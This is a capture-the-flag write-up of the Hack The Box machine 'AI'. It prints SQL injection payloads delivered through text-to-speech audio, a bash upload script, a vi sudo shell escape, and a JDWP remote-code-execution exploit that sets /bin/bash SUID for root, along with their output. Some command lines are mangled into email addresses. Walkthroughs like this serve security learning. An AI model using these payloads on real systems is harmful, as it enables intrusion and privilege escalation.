Exploiting the simple SQL injection vulnerability on the AI box was harder than expected because of the text-to-speech conversion required. I had to use a few tricks to inject the single quote in the query and the other parameters needed for the injection.
- There is a web application with a speech based API interface that contains a SQL injection
- By using a text-to-speech tool we can create a wav file that contains a payload to exploit the SQL injection
- The user credentials are retrieved from the database and we can SSH in
- The Java Debug Wire Protocol (JDWP) is enabled on the running Tomcat server and its port is exposed locally
- We can execute arbitrary code as root using JDWP
Blog / Tools
The attack surface is pretty small on this box: I only see SSH and HTTP listening.
root@kali:~/htb/ai# nmap -sC -sV -T4 10.10.10.163 Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 09:53 EST Nmap scan report for ai.htb (10.10.10.163) Host is up (0.046s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA) | 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA) |_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Hello AI! Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
What we have here is some company that does voice recognition from audio files. There’s a link to upload wav files so this is probably the function that we have to exploit in order to progress on this machine.
I did my normal gobuster enumeration and found a couple of additional files that didn’t show up on the main page.
root@kali:~/htb/ai# gobuster dir -q -t 50 -w /opt/SecLists/Discovery/Web-Content/big.txt -x php -u http://10.10.10.163 /about.php (Status: 200) /ai.php (Status: 200) /contact.php (Status: 200) /db.php (Status: 200) /images (Status: 301) /index.php (Status: 200) /intelligence.php (Status: 200) /server-status (Status: 403) /uploads (Status: 301)
db.php: this is probably used to connect to some database backend so there may a SQLi I have to exploit here
intelligence.php: this contains a list of voice input commands that are converted to special commands on the backend
SQL injection on the voice API page
The most annoying of this machine was finding a text to speech application that would produce reliable results. I tried a bunch of different online and offline tools but some of them produced files that did not decode properly on the target machine. I used https://ttsmp3.com and with the help of some scripting I’m able to automate the creation and conversion of the voice file.
#!/bin/bash TXT=$1 URL=$(curl -s https://ttsmp3.com/makemp3.php -H 'Content-type: application/x-www-form-urlencoded' --data "msg=$TXT" -d 'lang=Joey' -d 'source=ttsmp3' | jq -r .URL) curl -s -o speak.mp3 $URL ffmpeg -v 0 -y -i speak.mp3 speak.wav curl -s http://ai.htb/ai.php -F fileToUploadfirstname.lastname@example.org;type=audio/x-wav' -F submit='Process It!' | grep "Our understanding"
I can see below that the script works but unfortunately
quote doesn’t get converted to its character equivalent so I can’t inject that way.
./tts.sh hello <h3>Our understanding of your input is : hello<br />Query result : <h3> ./tts.sh quote <h3>Our understanding of your input is : quote<br />Query result : <h3>
By using the word
it's, the application generates a quote and I can see that we have a MySQL SQL injection here.
./tts.sh "its or one equals one Comment Database" <h3>Our understanding of your input is : it's or 1 = 1 -- -<br />Query result : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's or 1 = 1 -- -'' at line 1<
open single quote in the audio file, it will generate a single quote and I can use a simple 1=1 condition to return all entries from the database. In this case, the
print("hi") row is shown.
root@kali:~/htb/ai# ./tts.sh "open single quote ore one equals one Comment Database" <h3>Our understanding of your input is : 'or 1 = 1 -- -<br />Query result : print("hi")<h3>
I guessed that the table I had to check out was users and I was able to retrieve the password with the following query:
' UNION SELECT password FROM users -- -
./tts.sh "open single quote union select password from users Comment Database" <h3>Our understanding of your input is : 'union select password from users -- -<br />Query result : H,Sq9t6}a<)?q93_<h3>
I don’t have the username and I can’t do a query like
' UNION SELECT username FROM users -- - because the application will read it as
' UNION SELECT user name FROM users -- - instead. However before the box was released it was called
Alexa so I just guessed that the username was Alexa and I was able to SSH in.
root@kali:~/htb/ai# ssh email@example.com firstname.lastname@example.org's password: alexa@AI:~$ cat user.txt c43b62...
Trying to exploit the UID bug
Alexa can run vi as any user except root. There is a well known trick I can use to spawn a shell from within vi with
:!/bin/bash but since I can’t sudo vi as root I can only get access to
alexa@AI:~$ sudo -l [sudo] password for alexa: Matching Defaults entries for alexa on AI: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User alexa may run the following commands on AI: (ALL, !root) /usr/bin/vi alexa@AI:~$ lslogins UID USER PROC PWD-LOCK PWD-DENY LAST-LOGIN GECOS 0 root 127 Nov04/09:42 root 1 daemon 1 daemon 2 bin 0 bin 3 sys 0 sys 4 sync 0 sync 5 games 0 games 6 man 0 man 7 lp 0 lp 8 mail 0 mail 9 news 0 news 10 uucp 0 uucp 13 proxy 0 proxy 33 www-data 10 www-data 34 backup 0 backup 38 list 0 Mailing List Manager 39 irc 0 ircd 41 gnats 0 Gnats Bug-Reporting System (admin) 100 systemd-network 0 systemd Network Management,,, 101 systemd-resolve 1 systemd Resolver,,, 102 syslog 1 103 messagebus 1 104 _apt 0 105 lxd 0 106 uuidd 0 107 dnsmasq 0 dnsmasq,,, 108 landscape 0 109 pollinate 0 110 sshd 0 111 mysql 1 MySQL Server,,, 112 rtkit 0 RealtimeKit,,, 113 pulse 0 PulseAudio daemon,,, 114 avahi 2 Avahi mDNS daemon,,, 115 geoclue 0 1000 alexa 5 15:32 alexa 65534 nobody 0 nobody 4000000000 mrr3boot 0
alexa@AI:~$ sudo -u mrr3boot vi :!/bin/bash mrr3boot@AI:~$ id uid=4000000000(mrr3boot) gid=1001(mrr3boot) groups=1001(mrr3boot)
That high UID is very strange and after doing some research I found a systemd bug that should have let me run any systemctl commands.
Unfortunately even though the pkttyagent seems to crash, I was not able to exploit the bug:
mrr3boot@AI:~$ systemctl restart ssh ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Failed to restart ssh.service: Interactive authentication required. See system logs and 'systemctl status ssh.service' for details.
This seems like a dead end so I’ll move on to something else.
Privesc with Java Debug Wire Protocol
Looking at the listening ports I found ports 8000, 8005, 8009 and 8080 listening on localhost.
(No info could be read for "-p": geteuid()=-294967296 but you should be root.) Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp 0 492 10.10.10.163:22 10.10.14.51:38906 ESTABLISHED - tcp6 0 0 127.0.0.1:8080 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 127.0.0.1:8005 :::* LISTEN - tcp6 0 0 127.0.0.1:8009 :::* LISTEN - udp 0 0 0.0.0.0:49179 0.0.0.0:* - udp 0 0 127.0.0.53:53 0.0.0.0:* - udp 0 0 0.0.0.0:5353 0.0.0.0:* - udp6 0 0 :::38547 :::* - udp6 0 0 :::5353 :::* -
I did some port forwarding and saw that port 8080 is running the Tomcat manager but I was not able to log in using any of the default credentials.
Then I noticed that the Tomcat server has the JDWP option enabled:
/usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/ apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
I used the https://www.exploit-db.com/exploits/46501 exploit to get RCE as root. I chose to make
/bin/bash SUID so I could just get a shell directly by using
bash -p. I need to trigger a connection to port 8005 locally on the machine after I’ve launched the exploit.
root@kali:~/htb/ai# python jdwp.py -t 127.0.0.1 -p 8000 --cmd 'chmod u+s /bin/bash' [+] Targeting '127.0.0.1:8000' [+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4' [+] Found Runtime class: id=bc4 [+] Found Runtime.getRuntime(): id=7fe7f003e960 [+] Created break event id=2 [+] Waiting for an event on 'java.net.ServerSocket.accept' [+] Received matching event from thread 0xc69 [+] Selected payload 'chmod u+s /bin/bash' [+] Command string object created id:c6a [+] Runtime.getRuntime() returned context id:0xc6b [+] found Runtime.exec(): id=7fe7f003e998 [+] Runtime.exec() successful, retId=c6c [!] Command successfully executed
alexa@AI:~$ /bin/bash -p bash-4.4# id uid=1000(alexa) gid=1000(alexa) euid=0(root) groups=1000(alexa) bash-4.4# cat /root/root.txt 0ed04f2...